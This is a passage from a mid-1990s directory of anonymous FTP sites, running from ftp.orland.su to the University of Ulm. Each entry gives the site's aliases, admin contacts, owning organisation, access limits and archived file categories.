amber.ora.com +Admin : ftp-manager@ora.com +Organ : O'Reilly & Associates Inc. +Server : +System : Unix +URL : ftp://ftp.ora.com/ +Comment: successor of ora.com/ruby.ora.com; comp.mail.list-admin.* archive + to come? +Files : comp.mail.mime archive; Examples from ORA books: Nutshell handbooks, + OSF, X-windows; Mosaic; Usenet; Z-code + +Site : ftp.orland.su +Country: Russia +GMT : +2 +Date : 29-Sep-94 +Source : viv@rla.msk.su (Vladimir Ivanov) +Alias : orland.zgrad.ru +Admin : dnb@orland.zgrad.su +Organ : ORGLAND +Server : mailserv@orgland.zgrad.su (send "help") +System : +URL : ftp://ftp.orland.su/ +Comment: [prelimary entry, not tested yet] +Files : msdos; unix; galaxy; doc; zyx-prom; symantec; games + +Site : ftp.osc.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : infomeister.osc.edu +Admin : ftphelp@osc.edu +Organ : Ohio Supercomputer Center, Columbus, Ohio +Server : +System : Unix +URL : ftp://ftp.osc.edu/ +Comment: all file operations are logged; uploads to the 'incoming' directory +Files : Central/Eastern Europe; chemistry; images; pcrm; PC software; pvm3 + +Site : ftp.ox.ac.uk +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : black.ox.ac.uk +Admin : +Organ : Oxford University, Oxford +Server : +System : Unix +URL : ftp://ftp.ox.ac.uk/ +Comment: +Files : CIA world fact book; docs; Linux; IP; math; ota; RFCs; seminars; + worldlists + +Site : ftp.parc.xerox.com +Country: USA +GMT : -8 +Date : 11-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : beta.xerox.com, beta.parc.xerox.com, parcftp.parc.xerox.com, + parcftp.xerox.com +Admin : +Organ : Xerox - Palo Alto Research Center (PARC), Palo Alto, California +Server : +System : Unix +URL : ftp://ftp.parc.xerox.com/ +Comment: +Files : MOO (MUD) clients + +Site : ftp.pasteur.fr +Country: France +GMT : +1 +Date : 12-Feb-94 +Source : Internet World +Alias : montespan.pasteur.fr +Admin : netmaster@pasteur.fr +Organ : +Server : +System : Unix +URL : ftp://ftp.pasteur.fr/ +Comment: max. 200 users allowed +Files : 4.3BSD; Empire; FAQ; games; gensoft; GNU; Go; gopher; Logo; Mac; + MycDB; network; news; PC; Perl; PolyDoc; resig; RFCs; security; + sendmail; SimpleTimes; systems; TeX; X11R5 + +Site : ftp.path.net +Country: USA +GMT : -8 +Date : 18-Aug-94 +Source : k3ras@charney.gsfc.nasa.gov (Raymond Sears) {mail} +Alias : ftp.pandora.sf.ca.us +Admin : mitra@pandora.sf.ca.us [?] +Organ : +Server : +System : Unix +URL : ftp://ftp.path.net/ +Comment: successor of pandora.sf.ca.us +Files : binaries (gcc, perl); cook; elvis; geos; IETF; Mac; messenger; + patches (gopher, tin, wais); rego-l; remote; RIP; transp; whois; + Z3950 + +Site : ftp.pavilion.co.uk +Country: UK +GMT : 0 +Date : 19-Feb-95 +Source : ftp.cp.tn.tudelft.nl +Alias : prinny.pavilion.co.uk +Admin : ftpmaster@pavilion.co.uk +Organ : Pavilion Internet plc, Brighton +Server : gopher +System : Unix +URL : ftp://ftp.pavilion.co.uk/ +Comment: no anonymous access between 14:00 and 16:00 Monday-Friday +Files : icons (misc. .gif files); Pratchett; Starter pack (Mac); xbase + +Site : ftp.pbm.com +Country: USA +GMT : -5 +Date : 19-Feb-95 +Source : frits@cp.tn.tudelft.nl (Frits Kuijlman) +Alias : blekko.pbm.com, pbm.com +Admin : skrenta@pbm.com (Rich Skrenta) +Organ : +Server : +System : Unix +URL : ftp://ftp.pbm.com/ +Comment: Olympia Play By E-Mail in pub/olympia +Files : deslogin; net-access; Olympia; Play By Mail archives + +Site : ftp.pcco.ibm.com +Country: USA +GMT : +Date : 29-Oct-94 +Source : paul@serena.iaehv.nl (Paul Kolenbrander) {posting} +Alias : +Admin : +Organ : IBM +Server : +System : OS/2 (PC) +URL : ftp://ftp.pcco.ibm.com/ +Comment: no password needed; use 'dir' not 'ls'; mostly OS/2 material +Files : mobiles; Netware; Network; OS/2 drivers; Reference disks; service + pack; TCP/IP; utils; ValuePoint + +Site : ftp.pgh.net +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : +Alias : info.pgh.pa.us +Admin : +Organ : PGHNet, Pittsburgh, Pennsylvania +Server : +System : Unix +URL : ftp://ftp.pgh.net/ +Comment: some files to be mirrored on ftp.sterling.com +Files : dke; Mac; majordomo; PGH Net + +Site : ftp.physics.mcgill.ca +Country: Canada +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : glaurung.physics.mcgill.ca +Admin : +Organ : McGill University, Montreal, Quebec, Centre for the Physics of + Materials +Server : +System : Unix +URL : ftp://ftp.physics.mcgill.ca/ +Comment: Please restrict heavy FTP transfers (>10K) to non-prime-time hours + (20:00-08:00); IMAGES are NOT accessible during prime-time hours on + weekdays; transfers are logged; +Files : C Fortran; Dnqs; Fudgit; Images; Kingston; Mac-Sun; Polish; + rec.moto.review; SGI + +Site : ftp.physik.uni-frankfurt.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : pix1.physik.uni-frankfurt.de +Admin : +Organ : Universitaet Frankfurt (University of Frankfurt), Frankfurt, + Physics dept. +Server : +System : +URL : ftp://ftp.physik.uni-frankfurt.de/ +Comment: +Files : + +Site : ftp.pica.army.mil +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : fender.pica.army.mil +Admin : sunnet@pica.army.mil, drears@pica.army.mil (Dennis Rears) +Organ : U.S. Army PICA +Server : +System : Unix +URL : ftp://ftp.pica.army.mil/ +Comment: Open 24 hours; directory: /pub/labview; home for Computer Privacy + Digest and Info-Labview archives; max. 60 users; transfers are + logged +Files : Computer Privacy Digest; images; Info-Labview; Mosaic; paladin; + Picatinny race results; prism; security; training; usenet; WWW; Xclass + +Site : ftp.pipex.net +Country: UK +GMT : 0 +Date : 22-May-94 +Source : dlist@ora.com +Alias : pipe.pipex.net +Admin : pipex@pipex.net +Organ : PIPEX, Cambridge +Server : +System : Unix +URL : ftp://ftp.pipex.net/ +Comment: access allowed all day; transfers are logged +Files : areacode; IRC; mail; maps; monthly; named; netinfo; news; OS/2; + Perl; PIPEX info in /pub, Unipalm in /unipalm, Xtech in /xtech, + Computer College in /compucol; RFCs; RFC-drafts; security; sendmail; + src; stats; Sun-patches; techguide; telecom; terms; Unipalm; vendor; + WWW + +Site : ftp.pitt.edu +Country: USA +GMT : -5 +Date : 29-Sep-94 +Source : lecates@bach.udel.edu (Roy M. Lecates) {posting}; old ftp-list +Alias : unixd1.cis.pitt.edu +Admin : +Organ : University of Pittsburgh, Pittsburgh, Pennsylvania +Server : +System : Unix +URL : ftp://ftp.pitt.edu/ +Comment: directories: /users/qralston/images /users/i/n/infidel/bofh +Files : jokes: BOFH; graphics: 24-bit image archive; software [?] + +Site : ftp.pol.lublin.pl +Country: Poland +GMT : +1 +Date : 25-Jan-95 +Source : Dariusz.Cichosz@antenor.pol.lublin.pl (Dariusz Cichosz) {posting} +Alias : antenor.pol.lublin.pl +Admin : ftpadmin@antenor.pol.lublin.pl +Organ : Politechnika Lubelska (Technical University of Lublin), Lublin, + Management Science Faculty (Wydzial Zarzadzania) +Server : gopher://gopher.pol.lublin.pl/ +System : Netware (PC Fileserver) +URL : ftp://ftp.pol.lublin.pl/ +Comment: max. 20 users; do NOT upload commercial software; default directory: + /SYS/PUB; mostly mirrored stuff +Files : domain; gazeta; kbn; kbn-peco; PC (ai, archives, batch, compress, + crynwr, decode, demos, gopher, graphics, memutil, microsft, minuet, + modem, novell, odipkt, patches, pegasus, perl, pkp, pktmux, qemm, + screen, telnet, tools, turbopas, turbovis, uudecode, wattcp, win3, + winsock, www, x11; pentium; shareware; Usenet (faq, lists, msdos-an, + novell, pmail, win3, winews) + +Site : ftp.pop.psu.edu +Country: USA +GMT : -5 +Date : 29-Nov-94 +Source : barr@pop.psu.edu (David Barr); Perry.Rovers@kub.nl +Alias : greece.pop.psu.edu +Admin : ftp@pop.psu.edu +Organ : Pennsylvania State University, , Pennsylvania, + Population Research Institute +Server : http://www.pop.psu.edu/ +System : Unix +URL : ftp://ftp.pop.psu.edu/ +Comment: Max. 5 users; sessions are logged; uploads to /incoming +Files : computer-papers; INN patches and contributed code; Internet Talk + Radio (PSU only); maps; papers: working papers for population and + rural centers; PSU; src (Unix); Sun-patches + +Site : ftp.portal.com +Country: USA +GMT : -5 +Date : 15-May-94 +Source : Perry.Rovers@kub.nl +Alias : jobe.portal.com +Admin : cs@portal.com +Organ : Portal Communications +Server : +System : Unix +URL : ftp://ftp.portal.com/ +Comment: several public directories of Portal users under /pub +Files : artnet; bookware; fineline; function; netpower; portal-info; puzzle; + relevant; roadkill; unix-sig; zone + +Site : ftp.pppl.gov +Country: USA +GMT : +Date : 15-Dec-94 +Source : lyman.pppl.gov +Alias : orion.pppl.gov +Admin : +Organ : PPPL +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.pppl.gov/ +Comment: successor of lyman.pppl.gov +Files : 8051; aladdin; atomic; degas; divertors; TeX; tsc; Unix; VAX; + workstation; X11R6 + +Site : ftp.primate.wisc.edu +Country: USA +GMT : -6 +Date : 05-Jan-95 +Source : admin; old ftp-list +Alias : night.primate.wisc.edu +Admin : dubois@primate.wisc.edu (Paul DuBois), software@primate.wisc.edu +Organ : University of Wisconsin, Madison, Wisconsin, +Server : +System : Unix +URL : ftp://ftp.primate.wisc.edu/ +Comment: used to be indri.primate.wisc.edu +Files : bibstuff (utils for processing bibliographic records); dxs + (distributed execution service); etm (exception and Termination + Manager); imake; Mac: TransSkel, TransDisplay, TransEdit; + memmgr (simple-minded memory management library); menu; nio + (Network I/O library); pcs (plot construction set, incomplete); + rtf (rich text format tools); sndb (simple network database); + tfm (temporary file manager library); troffcvt (troff to XXX + conversion tools); ts (simple-minded token scanning library); + Usenet utils (headers, savenews) + +Site : ftp.procyon.com +Country: USA +GMT : -6 +Date : 30-Oct-94 +Source : magnus@bradley.edu (Mohan Kokal) {posting} +Alias : prism.procyon.com, procyon.com +Admin : pda@procyon.com +Organ : Procyon +Server : +System : Unix +URL : ftp://ftp.procyon.com/ +Comment: max. 50 users; transfers are logged; user public directories +Files : InterNIC; Linux: shadow-mk + +Site : ftp.progress.com +Country: USA +GMT : -5 +Date : 18-Aug-94 +Source : comp.virus/Virus-L +Alias : pscgate.progress.com +Admin : +Organ : Progress, Bedford, Maryland +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.progress.com/ +Comment: several user public directories +Files : conklin; federal; fluffy; neth; patch; penman; quad; symix; z-code + +Site : ftp.proxima.alt.za +Country: South Africa +GMT : 0 +Date : 17-Apr-94 +Source : david.segall@netline.co.za (David Segall) {posting} +Alias : myrtle.proxima.alt.za +Admin : +Organ : Proxima +Server : +System : Unix +URL : ftp://ftp.proxima.alt.za/ +Comment: +Files : MS-DOS; Oberon; PiX: South Afican BBS info; Unix + +Site : ftp.psc.edu +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : old ftp-list +Alias : anon.psc.edu +Admin : +Organ : Pittsburgh Supercomputing Center, Pittsburgh, Pennsylvania +Server : +System : Unix +URL : ftp://ftp.psc.edu/ +Comment: +Files : award; biomed; cgm; cmrad; depot; dqs; gall; gplot; grants; guide; + Kecks; lvr; Mac gplot; malloc_dbg; matmul; net_tools; P3D; PC gplot; + PC scub; psr; spr + +Site : ftp.psg.com +Country: USA +GMT : -8 +Date : 22-May-94 +Source : dlist@ora.com; Perry.Rovers@kub.nl +Alias : m2xenix.psg.com +Admin : +Organ : RAINet/PSG, , Oregon/Washington +Server : +System : Unix +URL : ftp://ftp.psg.com/ +Comment: +Files : bbslists; CIX; docs; Eiffel; Elvis; FIDONet; GNU; Intel; Internet; + IP-for-PC; K12; lists; Mac; Modula-2; MS-DOS; nets; Oberon; Pascal; + Python; RAINet; SCSI (Adaptec); unced; Unix; UUCP-for-PC + +Site : ftp.psi.com +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : dlist@ora.com; Perry.Rovers@kub.nl +Alias : info.psi.com, radio.psi.com +Admin : +Organ : Performance Systems International +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.psi.com/ +Comment: logging into radio.psi.com only shows the radio directory +Files : archive; dns; doc; gopsi; ien; ietf; info; Internet Talk Radio (ITR); + irg; isode; maps; netinfo; newsletter; pilot; press releases; + psilink; psisnmp; radio; RFCs; sendmail; snmp; snmpstats; src; + srmftp; Sun; Usenet; uuftp; waan; WP + +Site : ftp.psychol.utas.edu.au +Country: Australia +GMT : +10 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : bob@psychol.utas.edu.au (Robert G. Reid) +Organ : University of Tasmania, Hobart, Tasmania +Server : +System : Unix +URL : ftp://ftp.psychol.utas.edu.au/ +Comment: Trumpet Experimental FTP Server; Limit of 4 concurrent ftp + sessions; uploads are not accepted as we have limited + diskspace; please restrict downloads to outside normal + business hours if possible (business hours are 2200-0800 GMT); + most of the files in the /games and anti-vir directories are + available from sites in both the US and Europe; Problem: I/O error + on network device +Files : Mac network news-reader; Winsock; Trumpet DOS/Windows; some games; + antivirus utilities (most of this stuff is mirrored from sites + much closer to users from Europe or North-America) + +Site : ftp.psychologie.uni-freiburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : cssun1.psychologie.uni-freiburg.de +Admin : ftp@psychologie.uni-freiburg.de, stumpf@psychologie.uni-freiburg.de + (Michael Stumpf) +Organ : Universitaet Freiburg (University of Freiburg), Freiburg + Psychology dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.psychologie.uni-freiburg.de/ +Comment: Open 24 hours +Files : Research related information - documents and software (psychology, + cognitive psychology, cognitive science, artificial intelligence); + Sun related software, patches, and documents + +Site : ftp.puc-rio.br +Country: Brazil +GMT : -3 +Date : 15-Dec-94 +Source : admin; Perry.Rovers@kub.nl +Alias : ftp.rdc.puc-rio.br, io.rdc.puc-rio.br +Admin : poyart@rdc.puc-rio.br (Eduardo Poyart) +Organ : Pontificia Universidade Catolica, Rio de Janeiro, RDC +Server : http://www.puc-rio.br/ , gopher +System : Unix +URL : http://www.rdc.puc-rio.br/ +Comment: ftp.cica.indiana.edu mirror planned +Files : Doom (FAQ); MIDI (X3-list); MS-DOS (BBS (RA 2.02), TCP/IP); music + (lyrics); Unix (ebbs, GNU, gopher, IRC, news, www); Windows + +Site : ftp.pvv.unit.no +Country: Norway +GMT : +1 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : flipper.pvv.unit.no +Admin : dhmyrdal@pvv.unit.no +Organ : University of Trondheim, Trondheim, PVV +Server : +System : Unix +URL : ftp://ftp.pvv.unit.no/ +Comment: index in pub/arm/Index is outdated, ls-lR and FFF are + auto-updated; read DOWNLOAD-INFO for more helpful hints +Files : Apollo; arm; Atari; compress; DEC OSF; djgpp; finger; GNU; HP7000; + Iris Indigo; m88k; movie; MS-DOS; Mud; PGP; pvv-sources; regina; + rexx; Solaris; ssb; store; The Hessling Editor (THE); thesaurus; + viking; X11 + +Site : ftp.qdeck.com +Country: USA +GMT : -8 +Date : 17-Apr-94 +Source : old ftp-list +Alias : rockall; qdeck.com +Admin : support@qdeck.com (Thomas Bortels and others) +Organ : Quarterdeck Office Systems, Santa Monica, California +Server : +System : Unix +URL : ftp://ftp.qdeck.com/ +Comment: directory: /pub +Files : audio; Internet Talk Radio; Quarterdeck product information, + utilities, patches, fixes: DV, DV_QEMM FAQ, memory, Qemm, technotes + +Site : ftp.quadralay.com +Country: USA +GMT : -6 +Date : 30-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : jeanluc.quadralay.com [?] +Admin : +Organ : Quadralay Corp. +Server : +System : Unix +URL : ftp://ftp.quadralay.com/ +Comment: +Files : beta; gwhis; mif2html; Quadralay: bug fixes, software, trial + versions; web + +Site : ftp.qualcomm.com +Country: USA +GMT : -8 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : lorien.qualcomm.com +Admin : +Organ : QualComm, San Diego, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.qualcomm.com/ +Comment: +Files : cdma; Eudora for PC (MS-Windows version) and Mac, also beta; freaks; + Mac; Nyser; Solbourne; typescript; vocoder; Xilinx; Xview + versions; freak; Mac; Nyser; Vocoder; Xview + +Site : ftp.qucis.queensu.ca +Country: Canada +GMT : -5 +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : maroon.qucis.queensu.ca +Admin : +Organ : Queen's University, Kingston, Ontario +Server : +System : Unix +URL : ftp://ftp.qucis.queensu.ca/ +Comment: some files to be mirrored on ftp.sterling.com +Files : banger; cisc; docs; fleet; rdt; reports; sgml; skill; txl + +Site : ftp.quote.com +Country: USA +GMT : -8 +Date : 26-Aug-94 +Source : Perry.Rovers@kub.nl [posting] +Alias : spike.quote.com +Admin : support@quote.com (bug reports), staff@quote.com (suggestions) +Organ : QuoteCom financial data archives +Server : www.quote.com +System : Unix +URL : ftp://ftp.quote.com/ +Comment: additional info in /pub/info; index in INDEX; greater access when + you register through services@quote.com +Files : bulletins; bwire; hoover; library; newsletters; programs; spguide; + symbols; usenet + +Site : ftp.rahul.net +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : bolero.rahul.net +Admin : +Organ : Rahul +Server : +System : Unix +URL : ftp://ftp.rahul.net/ +Comment: read /pub/BLURB for subscription information about this system +Files : graphics related files and programs; networking info; archivers + +Site : ftp.rare.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : erasmus.rare.nl +Admin : +Organ : Reseaux Associes pour la Recherche Europeenne (European Research + Associates, RARE), Amsterdam +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.rare.nl/ +Comment: +Files : cnre; gopher; hs; inet-jenc; ix.codes; RARE; www + +Site : ftp.rau.ac.za +Country: South Africa +GMT : 0 +Date : 19-Feb-95 +Source : +Alias : zaphod.rau.ac.za +Admin : fwo@rkw.rau.ac.za +Organ : Rand Afrikaans University +Server : +System : Unix +URL : ftp://ftp.rau.ac.za/ +Comment: max. 10 users +Files : drivers (3COM, Trident); Internet (pmail, some docs); Linux; + listings; MS-DOS (arcers, bios, comm, cutcp, dbase, demos, + emulators, games, graphics, graphics_workshop, int, menus, + mod_players, network, pascal, pc-bench, programming, screen, + upgrade, ZA); multimedia; networks; Novell (dosup_winup, ipx, + mercury, mhs, nlm, odi, pmail, tcpip, trumpet, util); NT (patches); + Unix; Windows (bench, drivers, ghostscript, graphics_workshop, + infosystems, network, util, visual_basic, win32s) + +Site : ftp.rc.tudelft.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : mo6.rc.tudelft.nl +Admin : vanderwal@rc.tudelft.nl +Organ : Technische Universiteit Delft (Delft University of Technology), + Delft, CC +Server : +System : Unix +URL : ftp://ftp.rc.tudelft.nl/ +Comment: max. 10 users; open 24 hours; transfers are logged +Files : PC (gopher, MS-DOS, OS/2, Windows, Winsock); Unix (PC NFSD, POP) + +Site : ftp.rdt.monash.edu.au +Country: Australia +GMT : +10 +Date : 23-Aug-94 +Source : billa@netcom.com (William Arnett) {posting} +Alias : daneel.rdt.monash.edu.au +Admin : ftp@rdt.monash.edu.au +Organ : Monash University - Clayton Campus, Melbourne, Faculty of Computing + and Information Technology, Robot and Digital Technology dept. +Server : +System : Unix +URL : ftp://ftp.rdt.monash.edu.au/ +Comment: max. 15 users; transfers are logged; please keep ftp sessions out + of the 08:00-18:00 local hours; transfers are logged +Files : images; Monash info; netinfo; Shoemaker-Levy 9 (SL9) images in + /pub/jupiter-sl9; RDT; tech-reports; weathermap; wp60mini.zip + +Site : ftp.reed.edu +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : nelson@reed.edu (Nelson Minar) {posting}; Perry.Rovers@kub.nl +Alias : vishnu.reed.edu +Admin : horde@reed.edu +Organ : Reed College, Portland, Oregon +Server : www.reed.edu +System : Unix +URL : ftp://ftp.reed.edu/ +Comment: directory: /pub/samples; please restrict ALL transfers to 18:00- + 08:00 local time; 256Kb link, transfers may be slow; transfers + are logged; server knows how to g(un)zip and (un)compress; + max. 10 users +Files : econ; EPS-16+ samples; games; html-helper (emacs mode for editing + HTML documents); mailinglists; mirrors [?]; orelibs; psych; security + +Site : ftp.rhij.nl +Country: Netherlands +GMT : +1 +Date : 29-Sep-94 +Source : Jaap.vanGinkel@hto.rhij.nl {posting} +Alias : hton01.rhij.nl +Admin : +Organ : Rijks Hogeschool IJsselland (IJsselland Poly), Deventer +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://ftp.rhij.nl/ +Comment: +Files : Linux; Novell (bootpd, mirror of sjf-lwp.novell.com); PC; SMC; Tseng + +Site : ftp.rhrz.uni-bonn.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : nic.rhrz.uni-bonn.de +Admin : ftpadm@nic.rhrz.uni-bonn.de +Organ : Universitaet Bonn (University of Bonn), Bonn +Server : +System : +URL : ftp://ftp.rhrz.uni-bonn.de/ +Comment: +Files : + +Site : ftp.riken.go.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : mcstout@netcom.com (Mark C Stout) {posting} +Alias : riksun.riken.go.jp +Admin : ftp-admin@ftp.riken.go.jp +Organ : Institute of Physical and Chemical Research (RIKEN), , Ring Cyclotron +Server : http://www.riken.go.jp/ +System : Unix +URL : ftp://ftp.riken.go.jp/ +Comment: max. 100 users; South Hyogo (Kobe) Earth Quake info +Files : astro (SL9 from ftp.seds.arizona.edu); CERT; GNU; GPS; Mac (KT, + mac.archive.umich.edu, sumex-aim.stanford.edu, TeX); net; + OpenVMS/AXP; Quake info; RFCs; security; Sun-dist; TeX (CTAN); UCB; + VAX/VMS; Wnn; WWW + +Site : ftp.ripco.com +Country: USA +GMT : -6 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : daemon.ripco.com +Admin : +Organ : RIPCO, Chicago, Illinois +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.ripco.com/ +Comment: +Files : graphics; Mac; MOO; MS-DOS; RIP; text; Unix; Windows + +Site : ftp.ripe.net +Country: Netherlands +GMT : +1 +Date : 15-May-94 +Source : Internet: Getting Started +Alias : ns.ripe.net +Admin : ncc@ripe.net +Organ : Reseaux IP Europeennes (RIPE), Amsterdam, + Network Coordination Centre (NCC) +Server : +System : Unix +URL : ftp://ftp.ripe.net/ +Comment: max. 25 users; transactions are logged +Files : cidr; EARN; EBONE; FYI; IAB; IESG; IETF; Internet-drafts; Internet + Society (ISOC); ISO3166-codes; NSF; pride; RARE; RFCs; RIPE; tools + +Site : ftp.risc.uni-linz.ac.at +Country: Austria +GMT : +1 +Date : 30-Oct-94 +Source : Netrek FAQ +Alias : sun.risc.uni-linz.ac.at +Admin : sysadmin@risc.uni-linz.ac.at +Organ : Johannes Kepler Universitaet (Johannes Kepler University), Linz, + Research Institute for Symbolic Computation (RISC) +Server : +System : Unix +URL : ftp://ftp.risc.uni-linz.ac.at/ +Comment: max. 10 users; automatic tarring and compression +Files : acpc; art+tech; CASA; combinatories; conpar94; Dynix.ptx; games; + GB; GNU; graphics; jsc; Linux; ML; MS-DOS; Netrek; network; NeXT; + paclib; padic; parlab; pasco94; PC; qe; reports; saclib; sysadmin; + Unix util; X11 + +Site : ftp.rockwell.com +Country: USA +GMT : -8 +Date : 15-May-94 +Source : Perry.Rovers@kub.nl +Alias : intrepid.rockwell.com +Admin : +Organ : Rockwell Corp. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.rockwell.com/ +Comment: +Files : ansi2knr; dns; remnet-smtp; security; sendmail + +Site : ftp.rpi.edu +Country: USA +GMT : -5 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl; decemj@rpi.edu (John December) posting in + comp.infosystems.announce +Alias : netserv1.its.rpi.edu +Admin : +Organ : Rensselaer Polytechnical Institute, Troy, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.rpi.edu/ +Comment: also through www.rpi.edu; directory: + /pub/communications/internet-tools +Files : Internet-Tools + +Site : ftp.rri.uwo.ca +Country: Canada +GMT : -5 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : alex.ctrg.rri.uwo.ca +Admin : +Organ : University of Western Ontario, London, Ontario +Server : +System : Unix +URL : ftp://ftp.rri.uwo.ca/ +Comment: +Files : mailinglists; mirror of rri.net.uwo.ca [?]; NIC (named); PC Eudora; + PC NFS; security + +Site : ftp.rrzn.uni-hannover.de +Country: Germany +GMT : +1 +Date : 29-Sep-94 +Source : Deutsche Anonyme FTP-Server List +Alias : softdis.rrzn.uni-hannover.de +Admin : gruen@rvs.uni-hannover.de (Lutz Grueneberg) +Organ : Universitaet Hannover (University of Hannover), Hannover, CC +Server : +System : Unix +URL : ftp://ftp.rrzn.uni-hannover.de/ +Comment: uploads to /incoming, send mail to admin +Files : GNU; info; Info-Mac; info-systems; Linux; Lucid Emacs (lemacs); Mac; + Maple; MS-DOS (Koeln [mirror?], local); n.i.c.e.; numerics; OS/2; + pvm; RRZN; systems [?]; TeX; Unix; Windows3; WWW (see lemacs dir); + X11 + +Site : ftp.ru.ac.za +Country: South Africa +GMT : 0 +Date : 23-Aug-94 +Source : billa@netcom.com (William Arnett) {posting} +Alias : hippo.ru.ac.za +Admin : +Organ : Rhodes University +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ru.ac.za/ +Comment: +Files : cartog; doc; fidonet; FreeBSD; GIFs; GNU; mail; network; news; PC; + postscript; Rhodes; SAAO (mirror from da.saao.ac.za): images, + other); security; TeX; Unix; vi; wmail + +Site : ftp.rug.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : risc1.rug.nl +Admin : +Organ : Rijks Universiteit Groningen (University of Groningen), Groningen +Server : +System : Unix +URL : ftp://ftp.rug.nl/ +Comment: +Files : 386BSD; GopherE; graphics; listserv archive; MS-DOS; NetBSD; + networks; Novell; Origami; pacxnet; RC_msdos; RUGnet; Surfnet; Unix + +Site : ftp.rz.ruhr-uni-bochum.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : rubb.rz.ruhr-uni-bochum.de +Admin : x920031@bus072.rz.ruhr-uni-bochum.de (Jost Krieger) +Organ : Universitaet Bochum (University of Bochum), Bochum, CC +Server : +System : +URL : ftp://ftp.rz.ruhr-uni-bochum.de/ +Comment: +Files : + +Site : ftp.rz.uni-augsburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ibm20s.rz.uni-augsburg.de +Admin : ftpadm@rz.uni-augsburg.de +Organ : Universitaet Augsburg (University of Augsburg), Augsburg, CC +Server : +System : Unix +URL : ftp://ftp.rz.uni-augsburg.de/ +Comment: uploads not possible; READ ONLY mounted; downloading of directories: + get dirname.tar or get dirname.tar.Z or get dirname.tar.gz +Files : AIX 3.2 ports; Amiga; Atari; GNU; Linux; Mac; math; MS-DOS; OS/2; + parallel programming; TeX; Windows + +Site : ftp.rz.uni-karlsruhe.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : nz20.rz.uni-karlsruhe.de +Admin : ftp@rz.uni-karlsruhe.de +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe, CC +Server : +System : Unix +URL : ftp://ftp.rz.uni-karlsruhe.de/ +Comment: Problem: Timeout (900 seconds) +Files : AIX; BSD; CERT; doc; Emacs; HP-UX (modified) PD sources; Lapack; + Linux; MS-DOS; 2nd Berkeley network distribution (NET2); rznews; + TeX; ZyXel (modem) + +Site : ftp.rz.uni-konstanz.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : attis.rz.uni-konstanz.de +Admin : ftpadm@ftp.rz.uni-konstanz.de +Organ : Universitaet Konstanz (University of Konstanz), Konstanz, CC +Server : +System : +URL : ftp://ftp.rz.uni-konstanz.de/ +Comment: note: theoris.rz.uni-konstanz.de is not accessible for off-campus + users, maybe this site has the same stuff +Files : + +Site : ftp.rz.uni-osnabrueck.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : tethys.rz.uni-osnabrueck.de +Admin : wmeyer@dosuni1.rz.uni-osnabrueck.de (Wolfgang Meyer) +Organ : Universitaet Osnabrueck (University of Osnabrueck), Osnabrueck, CC +Server : +System : +URL : ftp://ftp.rz.uni-osnabrueck.de/ +Comment: successor of dione.rz.uni-osnabrueck.de +Files : Amiga; Info; Math; MS-DOS; OS/2; OzTeX; reports; TeX; Unix; Windows + +Site : ftp.rz.uni-sb.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sbusol.rz.uni-sb.de +Admin : ftpadm@rz.uni-sb.de +Organ : Universitaet des Saarlandes (University of the Saarland), + Saarbruecken, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.rz.uni-sb.de/ +Comment: +Files : infosystems; Linux; Mac; MS-DOS files; publications; TeX; Unix; + Windows + +Site : ftp.rz.uni-ulm.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : oracle.rz.uni-ulm.de, info.rz.uni-ulm.de +Admin : orakel@rz.uni-ulm.de +Organ : Universitaet Ulm 